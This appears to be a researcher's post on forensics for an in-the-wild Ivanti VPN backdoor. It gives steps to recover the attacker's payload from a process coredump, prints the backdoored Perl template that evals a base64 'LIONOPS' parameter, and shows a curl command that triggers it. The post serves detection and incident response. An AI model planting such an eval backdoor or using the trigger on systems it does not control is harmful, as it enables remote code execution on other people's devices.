beist

Getting into Ivanti CVE-2024-21893 In-the-Wild hackers' backdoor: 0. SSRF on saml-server will exploit CVE-2024-21887 vulnerability by bypassing mitigation and will likely crash saml-server 1. In the admin panel, get process snapshot (Troubleshooting > System snapshot) 2. Decrypt snapshot with pulse-meter.py (github.com/rxwx/pulse-meter) 3. $ tar xvf snapshot.decrypted -> It'll dump coredump (CORE.saml-server.PID) 4. $ strings CORE.saml-server.PID | grep setcookie -> you'll see attacker's saml xml payload 5. decode (URL, base64) payload and you'll get backdoored version of setcookie.thtml.ttc following is the backdoored part: $output .= "<!--\n"; my $keyname = 'LIONOPS'; my $key = CGI::param($keyname); use MIME::Base64; if(defined($key)){ my $arg=decode_base64("$key"); eval(decode_base64("$key")); } $output .= "-->\n"; "LIONOPS" is the keyword parameter to backdoor, so if you do something like: $ curl https://your_vpn_server/dana-na/auth/setcookie.cgi?LIONOPS=<base64('print "a"*100')> then backdoored device is likely to respond with 'a' * 100 #LINESecurity #ivanti #LIONOPS